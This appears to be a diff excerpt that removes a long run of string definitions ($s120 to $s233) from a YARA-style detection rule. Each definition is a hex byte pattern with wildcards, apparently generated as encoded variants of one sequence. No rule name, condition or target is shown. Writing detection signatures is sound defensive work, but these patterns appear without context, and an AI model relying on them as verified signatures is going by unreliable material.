-		$s120 = { 78 79 78 79 78 7A ?? ?? 78 7A 78 79 78 7A ?? ?? 78 7B 78 7A 78 7C ?? ?? ?? ?? 78 7C 78 7A 78 7C ?? ?? ?? ?? 78 7D 78 79 78 7A ?? ?? }
-		$s121 = { 79 78 79 78 79 7B ?? ?? 79 7B 79 78 79 7B ?? ?? 79 7A 79 7B 79 7D ?? ?? ?? ?? 79 7D 79 7B 79 7D ?? ?? ?? ?? 79 7C 79 78 79 7B ?? ?? }
-		$s122 = { 7A 7B 7A 7B 7A 78 ?? ?? 7A 78 7A 7B 7A 78 ?? ?? 7A 79 7A 78 7A 7E ?? ?? ?? ?? 7A 7E 7A 78 7A 7E ?? ?? ?? ?? 7A 7F 7A 7B 7A 78 ?? ?? }
-		$s123 = { 7B 7A 7B 7A 7B 79 ?? ?? 7B 79 7B 7A 7B 79 ?? ?? 7B 78 7B 79 7B 7F ?? ?? ?? ?? 7B 7F 7B 79 7B 7F ?? ?? ?? ?? 7B 7E 7B 7A 7B 79 ?? ?? }
-		$s124 = { 7C 7D 7C 7D 7C 7E ?? ?? 7C 7E 7C 7D 7C 7E ?? ?? 7C 7F 7C 7E 7C 78 ?? ?? ?? ?? 7C 78 7C 7E 7C 78 ?? ?? ?? ?? 7C 79 7C 7D 7C 7E ?? ?? }
-		$s125 = { 7D 7C 7D 7C 7D 7F ?? ?? 7D 7F 7D 7C 7D 7F ?? ?? 7D 7E 7D 7F 7D 79 ?? ?? ?? ?? 7D 79 7D 7F 7D 79 ?? ?? ?? ?? 7D 78 7D 7C 7D 7F ?? ?? }
-		$s126 = { 7E 7F 7E 7F 7E 7C ?? ?? 7E 7C 7E 7F 7E 7C ?? ?? 7E 7D 7E 7C 7E 7A ?? ?? ?? ?? 7E 7A 7E 7C 7E 7A ?? ?? ?? ?? 7E 7B 7E 7F 7E 7C ?? ?? }
-		$s127 = { 7F 7E 7F 7E 7F 7D ?? ?? 7F 7D 7F 7E 7F 7D ?? ?? 7F 7C 7F 7D 7F 7B ?? ?? ?? ?? 7F 7B 7F 7D 7F 7B ?? ?? ?? ?? 7F 7A 7F 7E 7F 7D ?? ?? }
-		$s128 = { 80 81 80 81 80 82 ?? ?? 80 82 80 81 80 82 ?? ?? 80 83 80 82 80 84 ?? ?? ?? ?? 80 84 80 82 80 84 ?? ?? ?? ?? 80 85 80 81 80 82 ?? ?? }
-		$s129 = { 81 80 81 80 81 83 ?? ?? 81 83 81 80 81 83 ?? ?? 81 82 81 83 81 85 ?? ?? ?? ?? 81 85 81 83 81 85 ?? ?? ?? ?? 81 84 81 80 81 83 ?? ?? }
-		$s130 = { 82 83 82 83 82 80 ?? ?? 82 80 82 83 82 80 ?? ?? 82 81 82 80 82 86 ?? ?? ?? ?? 82 86 82 80 82 86 ?? ?? ?? ?? 82 87 82 83 82 80 ?? ?? }
-		$s131 = { 83 82 83 82 83 81 ?? ?? 83 81 83 82 83 81 ?? ?? 83 80 83 81 83 87 ?? ?? ?? ?? 83 87 83 81 83 87 ?? ?? ?? ?? 83 86 83 82 83 81 ?? ?? }
-		$s132 = { 84 85 84 85 84 86 ?? ?? 84 86 84 85 84 86 ?? ?? 84 87 84 86 84 80 ?? ?? ?? ?? 84 80 84 86 84 80 ?? ?? ?? ?? 84 81 84 85 84 86 ?? ?? }
-		$s133 = { 85 84 85 84 85 87 ?? ?? 85 87 85 84 85 87 ?? ?? 85 86 85 87 85 81 ?? ?? ?? ?? 85 81 85 87 85 81 ?? ?? ?? ?? 85 80 85 84 85 87 ?? ?? }
-		$s134 = { 86 87 86 87 86 84 ?? ?? 86 84 86 87 86 84 ?? ?? 86 85 86 84 86 82 ?? ?? ?? ?? 86 82 86 84 86 82 ?? ?? ?? ?? 86 83 86 87 86 84 ?? ?? }
-		$s135 = { 87 86 87 86 87 85 ?? ?? 87 85 87 86 87 85 ?? ?? 87 84 87 85 87 83 ?? ?? ?? ?? 87 83 87 85 87 83 ?? ?? ?? ?? 87 82 87 86 87 85 ?? ?? }
-		$s136 = { 88 89 88 89 88 8A ?? ?? 88 8A 88 89 88 8A ?? ?? 88 8B 88 8A 88 8C ?? ?? ?? ?? 88 8C 88 8A 88 8C ?? ?? ?? ?? 88 8D 88 89 88 8A ?? ?? }
-		$s137 = { 89 88 89 88 89 8B ?? ?? 89 8B 89 88 89 8B ?? ?? 89 8A 89 8B 89 8D ?? ?? ?? ?? 89 8D 89 8B 89 8D ?? ?? ?? ?? 89 8C 89 88 89 8B ?? ?? }
-		$s138 = { 8A 8B 8A 8B 8A 88 ?? ?? 8A 88 8A 8B 8A 88 ?? ?? 8A 89 8A 88 8A 8E ?? ?? ?? ?? 8A 8E 8A 88 8A 8E ?? ?? ?? ?? 8A 8F 8A 8B 8A 88 ?? ?? }
-		$s139 = { 8B 8A 8B 8A 8B 89 ?? ?? 8B 89 8B 8A 8B 89 ?? ?? 8B 88 8B 89 8B 8F ?? ?? ?? ?? 8B 8F 8B 89 8B 8F ?? ?? ?? ?? 8B 8E 8B 8A 8B 89 ?? ?? }
-		$s140 = { 8C 8D 8C 8D 8C 8E ?? ?? 8C 8E 8C 8D 8C 8E ?? ?? 8C 8F 8C 8E 8C 88 ?? ?? ?? ?? 8C 88 8C 8E 8C 88 ?? ?? ?? ?? 8C 89 8C 8D 8C 8E ?? ?? }
-		$s141 = { 8D 8C 8D 8C 8D 8F ?? ?? 8D 8F 8D 8C 8D 8F ?? ?? 8D 8E 8D 8F 8D 89 ?? ?? ?? ?? 8D 89 8D 8F 8D 89 ?? ?? ?? ?? 8D 88 8D 8C 8D 8F ?? ?? }
-		$s142 = { 8E 8F 8E 8F 8E 8C ?? ?? 8E 8C 8E 8F 8E 8C ?? ?? 8E 8D 8E 8C 8E 8A ?? ?? ?? ?? 8E 8A 8E 8C 8E 8A ?? ?? ?? ?? 8E 8B 8E 8F 8E 8C ?? ?? }
-		$s143 = { 8F 8E 8F 8E 8F 8D ?? ?? 8F 8D 8F 8E 8F 8D ?? ?? 8F 8C 8F 8D 8F 8B ?? ?? ?? ?? 8F 8B 8F 8D 8F 8B ?? ?? ?? ?? 8F 8A 8F 8E 8F 8D ?? ?? }
-		$s144 = { 90 91 90 91 90 92 ?? ?? 90 92 90 91 90 92 ?? ?? 90 93 90 92 90 94 ?? ?? ?? ?? 90 94 90 92 90 94 ?? ?? ?? ?? 90 95 90 91 90 92 ?? ?? }
-		$s145 = { 91 90 91 90 91 93 ?? ?? 91 93 91 90 91 93 ?? ?? 91 92 91 93 91 95 ?? ?? ?? ?? 91 95 91 93 91 95 ?? ?? ?? ?? 91 94 91 90 91 93 ?? ?? }
-		$s146 = { 92 93 92 93 92 90 ?? ?? 92 90 92 93 92 90 ?? ?? 92 91 92 90 92 96 ?? ?? ?? ?? 92 96 92 90 92 96 ?? ?? ?? ?? 92 97 92 93 92 90 ?? ?? }
-		$s147 = { 93 92 93 92 93 91 ?? ?? 93 91 93 92 93 91 ?? ?? 93 90 93 91 93 97 ?? ?? ?? ?? 93 97 93 91 93 97 ?? ?? ?? ?? 93 96 93 92 93 91 ?? ?? }
-		$s148 = { 94 95 94 95 94 96 ?? ?? 94 96 94 95 94 96 ?? ?? 94 97 94 96 94 90 ?? ?? ?? ?? 94 90 94 96 94 90 ?? ?? ?? ?? 94 91 94 95 94 96 ?? ?? }
-		$s149 = { 95 94 95 94 95 97 ?? ?? 95 97 95 94 95 97 ?? ?? 95 96 95 97 95 91 ?? ?? ?? ?? 95 91 95 97 95 91 ?? ?? ?? ?? 95 90 95 94 95 97 ?? ?? }
-		$s150 = { 96 97 96 97 96 94 ?? ?? 96 94 96 97 96 94 ?? ?? 96 95 96 94 96 92 ?? ?? ?? ?? 96 92 96 94 96 92 ?? ?? ?? ?? 96 93 96 97 96 94 ?? ?? }
-		$s151 = { 97 96 97 96 97 95 ?? ?? 97 95 97 96 97 95 ?? ?? 97 94 97 95 97 93 ?? ?? ?? ?? 97 93 97 95 97 93 ?? ?? ?? ?? 97 92 97 96 97 95 ?? ?? }
-		$s152 = { 98 99 98 99 98 9A ?? ?? 98 9A 98 99 98 9A ?? ?? 98 9B 98 9A 98 9C ?? ?? ?? ?? 98 9C 98 9A 98 9C ?? ?? ?? ?? 98 9D 98 99 98 9A ?? ?? }
-		$s153 = { 99 98 99 98 99 9B ?? ?? 99 9B 99 98 99 9B ?? ?? 99 9A 99 9B 99 9D ?? ?? ?? ?? 99 9D 99 9B 99 9D ?? ?? ?? ?? 99 9C 99 98 99 9B ?? ?? }
-		$s154 = { 9A 9B 9A 9B 9A 98 ?? ?? 9A 98 9A 9B 9A 98 ?? ?? 9A 99 9A 98 9A 9E ?? ?? ?? ?? 9A 9E 9A 98 9A 9E ?? ?? ?? ?? 9A 9F 9A 9B 9A 98 ?? ?? }
-		$s155 = { 9B 9A 9B 9A 9B 99 ?? ?? 9B 99 9B 9A 9B 99 ?? ?? 9B 98 9B 99 9B 9F ?? ?? ?? ?? 9B 9F 9B 99 9B 9F ?? ?? ?? ?? 9B 9E 9B 9A 9B 99 ?? ?? }
-		$s156 = { 9C 9D 9C 9D 9C 9E ?? ?? 9C 9E 9C 9D 9C 9E ?? ?? 9C 9F 9C 9E 9C 98 ?? ?? ?? ?? 9C 98 9C 9E 9C 98 ?? ?? ?? ?? 9C 99 9C 9D 9C 9E ?? ?? }
-		$s157 = { 9D 9C 9D 9C 9D 9F ?? ?? 9D 9F 9D 9C 9D 9F ?? ?? 9D 9E 9D 9F 9D 99 ?? ?? ?? ?? 9D 99 9D 9F 9D 99 ?? ?? ?? ?? 9D 98 9D 9C 9D 9F ?? ?? }
-		$s158 = { 9E 9F 9E 9F 9E 9C ?? ?? 9E 9C 9E 9F 9E 9C ?? ?? 9E 9D 9E 9C 9E 9A ?? ?? ?? ?? 9E 9A 9E 9C 9E 9A ?? ?? ?? ?? 9E 9B 9E 9F 9E 9C ?? ?? }
-		$s159 = { 9F 9E 9F 9E 9F 9D ?? ?? 9F 9D 9F 9E 9F 9D ?? ?? 9F 9C 9F 9D 9F 9B ?? ?? ?? ?? 9F 9B 9F 9D 9F 9B ?? ?? ?? ?? 9F 9A 9F 9E 9F 9D ?? ?? }
-		$s160 = { A0 A1 A0 A1 A0 A2 ?? ?? A0 A2 A0 A1 A0 A2 ?? ?? A0 A3 A0 A2 A0 A4 ?? ?? ?? ?? A0 A4 A0 A2 A0 A4 ?? ?? ?? ?? A0 A5 A0 A1 A0 A2 ?? ?? }
-		$s161 = { A1 A0 A1 A0 A1 A3 ?? ?? A1 A3 A1 A0 A1 A3 ?? ?? A1 A2 A1 A3 A1 A5 ?? ?? ?? ?? A1 A5 A1 A3 A1 A5 ?? ?? ?? ?? A1 A4 A1 A0 A1 A3 ?? ?? }
-		$s162 = { A2 A3 A2 A3 A2 A0 ?? ?? A2 A0 A2 A3 A2 A0 ?? ?? A2 A1 A2 A0 A2 A6 ?? ?? ?? ?? A2 A6 A2 A0 A2 A6 ?? ?? ?? ?? A2 A7 A2 A3 A2 A0 ?? ?? }
-		$s163 = { A3 A2 A3 A2 A3 A1 ?? ?? A3 A1 A3 A2 A3 A1 ?? ?? A3 A0 A3 A1 A3 A7 ?? ?? ?? ?? A3 A7 A3 A1 A3 A7 ?? ?? ?? ?? A3 A6 A3 A2 A3 A1 ?? ?? }
-		$s164 = { A4 A5 A4 A5 A4 A6 ?? ?? A4 A6 A4 A5 A4 A6 ?? ?? A4 A7 A4 A6 A4 A0 ?? ?? ?? ?? A4 A0 A4 A6 A4 A0 ?? ?? ?? ?? A4 A1 A4 A5 A4 A6 ?? ?? }
-		$s165 = { A5 A4 A5 A4 A5 A7 ?? ?? A5 A7 A5 A4 A5 A7 ?? ?? A5 A6 A5 A7 A5 A1 ?? ?? ?? ?? A5 A1 A5 A7 A5 A1 ?? ?? ?? ?? A5 A0 A5 A4 A5 A7 ?? ?? }
-		$s166 = { A6 A7 A6 A7 A6 A4 ?? ?? A6 A4 A6 A7 A6 A4 ?? ?? A6 A5 A6 A4 A6 A2 ?? ?? ?? ?? A6 A2 A6 A4 A6 A2 ?? ?? ?? ?? A6 A3 A6 A7 A6 A4 ?? ?? }
-		$s167 = { A7 A6 A7 A6 A7 A5 ?? ?? A7 A5 A7 A6 A7 A5 ?? ?? A7 A4 A7 A5 A7 A3 ?? ?? ?? ?? A7 A3 A7 A5 A7 A3 ?? ?? ?? ?? A7 A2 A7 A6 A7 A5 ?? ?? }
-		$s168 = { A8 A9 A8 A9 A8 AA ?? ?? A8 AA A8 A9 A8 AA ?? ?? A8 AB A8 AA A8 AC ?? ?? ?? ?? A8 AC A8 AA A8 AC ?? ?? ?? ?? A8 AD A8 A9 A8 AA ?? ?? }
-		$s169 = { A9 A8 A9 A8 A9 AB ?? ?? A9 AB A9 A8 A9 AB ?? ?? A9 AA A9 AB A9 AD ?? ?? ?? ?? A9 AD A9 AB A9 AD ?? ?? ?? ?? A9 AC A9 A8 A9 AB ?? ?? }
-		$s170 = { AA AB AA AB AA A8 ?? ?? AA A8 AA AB AA A8 ?? ?? AA A9 AA A8 AA AE ?? ?? ?? ?? AA AE AA A8 AA AE ?? ?? ?? ?? AA AF AA AB AA A8 ?? ?? }
-		$s171 = { AB AA AB AA AB A9 ?? ?? AB A9 AB AA AB A9 ?? ?? AB A8 AB A9 AB AF ?? ?? ?? ?? AB AF AB A9 AB AF ?? ?? ?? ?? AB AE AB AA AB A9 ?? ?? }
-		$s172 = { AC AD AC AD AC AE ?? ?? AC AE AC AD AC AE ?? ?? AC AF AC AE AC A8 ?? ?? ?? ?? AC A8 AC AE AC A8 ?? ?? ?? ?? AC A9 AC AD AC AE ?? ?? }
-		$s173 = { AD AC AD AC AD AF ?? ?? AD AF AD AC AD AF ?? ?? AD AE AD AF AD A9 ?? ?? ?? ?? AD A9 AD AF AD A9 ?? ?? ?? ?? AD A8 AD AC AD AF ?? ?? }
-		$s174 = { AE AF AE AF AE AC ?? ?? AE AC AE AF AE AC ?? ?? AE AD AE AC AE AA ?? ?? ?? ?? AE AA AE AC AE AA ?? ?? ?? ?? AE AB AE AF AE AC ?? ?? }
-		$s175 = { AF AE AF AE AF AD ?? ?? AF AD AF AE AF AD ?? ?? AF AC AF AD AF AB ?? ?? ?? ?? AF AB AF AD AF AB ?? ?? ?? ?? AF AA AF AE AF AD ?? ?? }
-		$s176 = { B0 B1 B0 B1 B0 B2 ?? ?? B0 B2 B0 B1 B0 B2 ?? ?? B0 B3 B0 B2 B0 B4 ?? ?? ?? ?? B0 B4 B0 B2 B0 B4 ?? ?? ?? ?? B0 B5 B0 B1 B0 B2 ?? ?? }
-		$s177 = { B1 B0 B1 B0 B1 B3 ?? ?? B1 B3 B1 B0 B1 B3 ?? ?? B1 B2 B1 B3 B1 B5 ?? ?? ?? ?? B1 B5 B1 B3 B1 B5 ?? ?? ?? ?? B1 B4 B1 B0 B1 B3 ?? ?? }
-		$s178 = { B2 B3 B2 B3 B2 B0 ?? ?? B2 B0 B2 B3 B2 B0 ?? ?? B2 B1 B2 B0 B2 B6 ?? ?? ?? ?? B2 B6 B2 B0 B2 B6 ?? ?? ?? ?? B2 B7 B2 B3 B2 B0 ?? ?? }
-		$s179 = { B3 B2 B3 B2 B3 B1 ?? ?? B3 B1 B3 B2 B3 B1 ?? ?? B3 B0 B3 B1 B3 B7 ?? ?? ?? ?? B3 B7 B3 B1 B3 B7 ?? ?? ?? ?? B3 B6 B3 B2 B3 B1 ?? ?? }
-		$s180 = { B4 B5 B4 B5 B4 B6 ?? ?? B4 B6 B4 B5 B4 B6 ?? ?? B4 B7 B4 B6 B4 B0 ?? ?? ?? ?? B4 B0 B4 B6 B4 B0 ?? ?? ?? ?? B4 B1 B4 B5 B4 B6 ?? ?? }
-		$s181 = { B5 B4 B5 B4 B5 B7 ?? ?? B5 B7 B5 B4 B5 B7 ?? ?? B5 B6 B5 B7 B5 B1 ?? ?? ?? ?? B5 B1 B5 B7 B5 B1 ?? ?? ?? ?? B5 B0 B5 B4 B5 B7 ?? ?? }
-		$s182 = { B6 B7 B6 B7 B6 B4 ?? ?? B6 B4 B6 B7 B6 B4 ?? ?? B6 B5 B6 B4 B6 B2 ?? ?? ?? ?? B6 B2 B6 B4 B6 B2 ?? ?? ?? ?? B6 B3 B6 B7 B6 B4 ?? ?? }
-		$s183 = { B7 B6 B7 B6 B7 B5 ?? ?? B7 B5 B7 B6 B7 B5 ?? ?? B7 B4 B7 B5 B7 B3 ?? ?? ?? ?? B7 B3 B7 B5 B7 B3 ?? ?? ?? ?? B7 B2 B7 B6 B7 B5 ?? ?? }
-		$s184 = { B8 B9 B8 B9 B8 BA ?? ?? B8 BA B8 B9 B8 BA ?? ?? B8 BB B8 BA B8 BC ?? ?? ?? ?? B8 BC B8 BA B8 BC ?? ?? ?? ?? B8 BD B8 B9 B8 BA ?? ?? }
-		$s185 = { B9 B8 B9 B8 B9 BB ?? ?? B9 BB B9 B8 B9 BB ?? ?? B9 BA B9 BB B9 BD ?? ?? ?? ?? B9 BD B9 BB B9 BD ?? ?? ?? ?? B9 BC B9 B8 B9 BB ?? ?? }
-		$s186 = { BA BB BA BB BA B8 ?? ?? BA B8 BA BB BA B8 ?? ?? BA B9 BA B8 BA BE ?? ?? ?? ?? BA BE BA B8 BA BE ?? ?? ?? ?? BA BF BA BB BA B8 ?? ?? }
-		$s187 = { BB BA BB BA BB B9 ?? ?? BB B9 BB BA BB B9 ?? ?? BB B8 BB B9 BB BF ?? ?? ?? ?? BB BF BB B9 BB BF ?? ?? ?? ?? BB BE BB BA BB B9 ?? ?? }
-		$s188 = { BC BD BC BD BC BE ?? ?? BC BE BC BD BC BE ?? ?? BC BF BC BE BC B8 ?? ?? ?? ?? BC B8 BC BE BC B8 ?? ?? ?? ?? BC B9 BC BD BC BE ?? ?? }
-		$s189 = { BD BC BD BC BD BF ?? ?? BD BF BD BC BD BF ?? ?? BD BE BD BF BD B9 ?? ?? ?? ?? BD B9 BD BF BD B9 ?? ?? ?? ?? BD B8 BD BC BD BF ?? ?? }
-		$s190 = { BE BF BE BF BE BC ?? ?? BE BC BE BF BE BC ?? ?? BE BD BE BC BE BA ?? ?? ?? ?? BE BA BE BC BE BA ?? ?? ?? ?? BE BB BE BF BE BC ?? ?? }
-		$s191 = { BF BE BF BE BF BD ?? ?? BF BD BF BE BF BD ?? ?? BF BC BF BD BF BB ?? ?? ?? ?? BF BB BF BD BF BB ?? ?? ?? ?? BF BA BF BE BF BD ?? ?? }
-		$s192 = { C0 C1 C0 C1 C0 C2 ?? ?? C0 C2 C0 C1 C0 C2 ?? ?? C0 C3 C0 C2 C0 C4 ?? ?? ?? ?? C0 C4 C0 C2 C0 C4 ?? ?? ?? ?? C0 C5 C0 C1 C0 C2 ?? ?? }
-		$s193 = { C1 C0 C1 C0 C1 C3 ?? ?? C1 C3 C1 C0 C1 C3 ?? ?? C1 C2 C1 C3 C1 C5 ?? ?? ?? ?? C1 C5 C1 C3 C1 C5 ?? ?? ?? ?? C1 C4 C1 C0 C1 C3 ?? ?? }
-		$s194 = { C2 C3 C2 C3 C2 C0 ?? ?? C2 C0 C2 C3 C2 C0 ?? ?? C2 C1 C2 C0 C2 C6 ?? ?? ?? ?? C2 C6 C2 C0 C2 C6 ?? ?? ?? ?? C2 C7 C2 C3 C2 C0 ?? ?? }
-		$s195 = { C3 C2 C3 C2 C3 C1 ?? ?? C3 C1 C3 C2 C3 C1 ?? ?? C3 C0 C3 C1 C3 C7 ?? ?? ?? ?? C3 C7 C3 C1 C3 C7 ?? ?? ?? ?? C3 C6 C3 C2 C3 C1 ?? ?? }
-		$s196 = { C4 C5 C4 C5 C4 C6 ?? ?? C4 C6 C4 C5 C4 C6 ?? ?? C4 C7 C4 C6 C4 C0 ?? ?? ?? ?? C4 C0 C4 C6 C4 C0 ?? ?? ?? ?? C4 C1 C4 C5 C4 C6 ?? ?? }
-		$s197 = { C5 C4 C5 C4 C5 C7 ?? ?? C5 C7 C5 C4 C5 C7 ?? ?? C5 C6 C5 C7 C5 C1 ?? ?? ?? ?? C5 C1 C5 C7 C5 C1 ?? ?? ?? ?? C5 C0 C5 C4 C5 C7 ?? ?? }
-		$s198 = { C6 C7 C6 C7 C6 C4 ?? ?? C6 C4 C6 C7 C6 C4 ?? ?? C6 C5 C6 C4 C6 C2 ?? ?? ?? ?? C6 C2 C6 C4 C6 C2 ?? ?? ?? ?? C6 C3 C6 C7 C6 C4 ?? ?? }
-		$s199 = { C7 C6 C7 C6 C7 C5 ?? ?? C7 C5 C7 C6 C7 C5 ?? ?? C7 C4 C7 C5 C7 C3 ?? ?? ?? ?? C7 C3 C7 C5 C7 C3 ?? ?? ?? ?? C7 C2 C7 C6 C7 C5 ?? ?? }
-		$s200 = { C8 C9 C8 C9 C8 CA ?? ?? C8 CA C8 C9 C8 CA ?? ?? C8 CB C8 CA C8 CC ?? ?? ?? ?? C8 CC C8 CA C8 CC ?? ?? ?? ?? C8 CD C8 C9 C8 CA ?? ?? }
-		$s201 = { C9 C8 C9 C8 C9 CB ?? ?? C9 CB C9 C8 C9 CB ?? ?? C9 CA C9 CB C9 CD ?? ?? ?? ?? C9 CD C9 CB C9 CD ?? ?? ?? ?? C9 CC C9 C8 C9 CB ?? ?? }
-		$s202 = { CA CB CA CB CA C8 ?? ?? CA C8 CA CB CA C8 ?? ?? CA C9 CA C8 CA CE ?? ?? ?? ?? CA CE CA C8 CA CE ?? ?? ?? ?? CA CF CA CB CA C8 ?? ?? }
-		$s203 = { CB CA CB CA CB C9 ?? ?? CB C9 CB CA CB C9 ?? ?? CB C8 CB C9 CB CF ?? ?? ?? ?? CB CF CB C9 CB CF ?? ?? ?? ?? CB CE CB CA CB C9 ?? ?? }
-		$s204 = { CC CD CC CD CC CE ?? ?? CC CE CC CD CC CE ?? ?? CC CF CC CE CC C8 ?? ?? ?? ?? CC C8 CC CE CC C8 ?? ?? ?? ?? CC C9 CC CD CC CE ?? ?? }
-		$s205 = { CD CC CD CC CD CF ?? ?? CD CF CD CC CD CF ?? ?? CD CE CD CF CD C9 ?? ?? ?? ?? CD C9 CD CF CD C9 ?? ?? ?? ?? CD C8 CD CC CD CF ?? ?? }
-		$s206 = { CE CF CE CF CE CC ?? ?? CE CC CE CF CE CC ?? ?? CE CD CE CC CE CA ?? ?? ?? ?? CE CA CE CC CE CA ?? ?? ?? ?? CE CB CE CF CE CC ?? ?? }
-		$s207 = { CF CE CF CE CF CD ?? ?? CF CD CF CE CF CD ?? ?? CF CC CF CD CF CB ?? ?? ?? ?? CF CB CF CD CF CB ?? ?? ?? ?? CF CA CF CE CF CD ?? ?? }
-		$s208 = { D0 D1 D0 D1 D0 D2 ?? ?? D0 D2 D0 D1 D0 D2 ?? ?? D0 D3 D0 D2 D0 D4 ?? ?? ?? ?? D0 D4 D0 D2 D0 D4 ?? ?? ?? ?? D0 D5 D0 D1 D0 D2 ?? ?? }
-		$s209 = { D1 D0 D1 D0 D1 D3 ?? ?? D1 D3 D1 D0 D1 D3 ?? ?? D1 D2 D1 D3 D1 D5 ?? ?? ?? ?? D1 D5 D1 D3 D1 D5 ?? ?? ?? ?? D1 D4 D1 D0 D1 D3 ?? ?? }
-		$s210 = { D2 D3 D2 D3 D2 D0 ?? ?? D2 D0 D2 D3 D2 D0 ?? ?? D2 D1 D2 D0 D2 D6 ?? ?? ?? ?? D2 D6 D2 D0 D2 D6 ?? ?? ?? ?? D2 D7 D2 D3 D2 D0 ?? ?? }
-		$s211 = { D3 D2 D3 D2 D3 D1 ?? ?? D3 D1 D3 D2 D3 D1 ?? ?? D3 D0 D3 D1 D3 D7 ?? ?? ?? ?? D3 D7 D3 D1 D3 D7 ?? ?? ?? ?? D3 D6 D3 D2 D3 D1 ?? ?? }
-		$s212 = { D4 D5 D4 D5 D4 D6 ?? ?? D4 D6 D4 D5 D4 D6 ?? ?? D4 D7 D4 D6 D4 D0 ?? ?? ?? ?? D4 D0 D4 D6 D4 D0 ?? ?? ?? ?? D4 D1 D4 D5 D4 D6 ?? ?? }
-		$s213 = { D5 D4 D5 D4 D5 D7 ?? ?? D5 D7 D5 D4 D5 D7 ?? ?? D5 D6 D5 D7 D5 D1 ?? ?? ?? ?? D5 D1 D5 D7 D5 D1 ?? ?? ?? ?? D5 D0 D5 D4 D5 D7 ?? ?? }
-		$s214 = { D6 D7 D6 D7 D6 D4 ?? ?? D6 D4 D6 D7 D6 D4 ?? ?? D6 D5 D6 D4 D6 D2 ?? ?? ?? ?? D6 D2 D6 D4 D6 D2 ?? ?? ?? ?? D6 D3 D6 D7 D6 D4 ?? ?? }
-		$s215 = { D7 D6 D7 D6 D7 D5 ?? ?? D7 D5 D7 D6 D7 D5 ?? ?? D7 D4 D7 D5 D7 D3 ?? ?? ?? ?? D7 D3 D7 D5 D7 D3 ?? ?? ?? ?? D7 D2 D7 D6 D7 D5 ?? ?? }
-		$s216 = { D8 D9 D8 D9 D8 DA ?? ?? D8 DA D8 D9 D8 DA ?? ?? D8 DB D8 DA D8 DC ?? ?? ?? ?? D8 DC D8 DA D8 DC ?? ?? ?? ?? D8 DD D8 D9 D8 DA ?? ?? }
-		$s217 = { D9 D8 D9 D8 D9 DB ?? ?? D9 DB D9 D8 D9 DB ?? ?? D9 DA D9 DB D9 DD ?? ?? ?? ?? D9 DD D9 DB D9 DD ?? ?? ?? ?? D9 DC D9 D8 D9 DB ?? ?? }
-		$s218 = { DA DB DA DB DA D8 ?? ?? DA D8 DA DB DA D8 ?? ?? DA D9 DA D8 DA DE ?? ?? ?? ?? DA DE DA D8 DA DE ?? ?? ?? ?? DA DF DA DB DA D8 ?? ?? }
-		$s219 = { DB DA DB DA DB D9 ?? ?? DB D9 DB DA DB D9 ?? ?? DB D8 DB D9 DB DF ?? ?? ?? ?? DB DF DB D9 DB DF ?? ?? ?? ?? DB DE DB DA DB D9 ?? ?? }
-		$s220 = { DC DD DC DD DC DE ?? ?? DC DE DC DD DC DE ?? ?? DC DF DC DE DC D8 ?? ?? ?? ?? DC D8 DC DE DC D8 ?? ?? ?? ?? DC D9 DC DD DC DE ?? ?? }
-		$s221 = { DD DC DD DC DD DF ?? ?? DD DF DD DC DD DF ?? ?? DD DE DD DF DD D9 ?? ?? ?? ?? DD D9 DD DF DD D9 ?? ?? ?? ?? DD D8 DD DC DD DF ?? ?? }
-		$s222 = { DE DF DE DF DE DC ?? ?? DE DC DE DF DE DC ?? ?? DE DD DE DC DE DA ?? ?? ?? ?? DE DA DE DC DE DA ?? ?? ?? ?? DE DB DE DF DE DC ?? ?? }
-		$s223 = { DF DE DF DE DF DD ?? ?? DF DD DF DE DF DD ?? ?? DF DC DF DD DF DB ?? ?? ?? ?? DF DB DF DD DF DB ?? ?? ?? ?? DF DA DF DE DF DD ?? ?? }
-		$s224 = { E0 E1 E0 E1 E0 E2 ?? ?? E0 E2 E0 E1 E0 E2 ?? ?? E0 E3 E0 E2 E0 E4 ?? ?? ?? ?? E0 E4 E0 E2 E0 E4 ?? ?? ?? ?? E0 E5 E0 E1 E0 E2 ?? ?? }
-		$s225 = { E1 E0 E1 E0 E1 E3 ?? ?? E1 E3 E1 E0 E1 E3 ?? ?? E1 E2 E1 E3 E1 E5 ?? ?? ?? ?? E1 E5 E1 E3 E1 E5 ?? ?? ?? ?? E1 E4 E1 E0 E1 E3 ?? ?? }
-		$s226 = { E2 E3 E2 E3 E2 E0 ?? ?? E2 E0 E2 E3 E2 E0 ?? ?? E2 E1 E2 E0 E2 E6 ?? ?? ?? ?? E2 E6 E2 E0 E2 E6 ?? ?? ?? ?? E2 E7 E2 E3 E2 E0 ?? ?? }
-		$s227 = { E3 E2 E3 E2 E3 E1 ?? ?? E3 E1 E3 E2 E3 E1 ?? ?? E3 E0 E3 E1 E3 E7 ?? ?? ?? ?? E3 E7 E3 E1 E3 E7 ?? ?? ?? ?? E3 E6 E3 E2 E3 E1 ?? ?? }
-		$s228 = { E4 E5 E4 E5 E4 E6 ?? ?? E4 E6 E4 E5 E4 E6 ?? ?? E4 E7 E4 E6 E4 E0 ?? ?? ?? ?? E4 E0 E4 E6 E4 E0 ?? ?? ?? ?? E4 E1 E4 E5 E4 E6 ?? ?? }
-		$s229 = { E5 E4 E5 E4 E5 E7 ?? ?? E5 E7 E5 E4 E5 E7 ?? ?? E5 E6 E5 E7 E5 E1 ?? ?? ?? ?? E5 E1 E5 E7 E5 E1 ?? ?? ?? ?? E5 E0 E5 E4 E5 E7 ?? ?? }
-		$s230 = { E6 E7 E6 E7 E6 E4 ?? ?? E6 E4 E6 E7 E6 E4 ?? ?? E6 E5 E6 E4 E6 E2 ?? ?? ?? ?? E6 E2 E6 E4 E6 E2 ?? ?? ?? ?? E6 E3 E6 E7 E6 E4 ?? ?? }
-		$s231 = { E7 E6 E7 E6 E7 E5 ?? ?? E7 E5 E7 E6 E7 E5 ?? ?? E7 E4 E7 E5 E7 E3 ?? ?? ?? ?? E7 E3 E7 E5 E7 E3 ?? ?? ?? ?? E7 E2 E7 E6 E7 E5 ?? ?? }
-		$s232 = { E8 E9 E8 E9 E8 EA ?? ?? E8 EA E8 E9 E8 EA ?? ?? E8 EB E8 EA E8 EC ?? ?? ?? ?? E8 EC E8 EA E8 EC ?? ?? ?? ?? E8 ED E8 E9 E8 EA ?? ?? }
-		$s233 = { E9 E8 E9 E8 E9 EB ?? ?? E9 EB E9 E8 E9 EB ?? ?? E9 EA E9 EB E9 ED ?? ?? ?? ?? E9 ED E9 EB E9 ED ?? ?? ?? ?? E9 EC E9 E8 E9 EB ?? ?? }
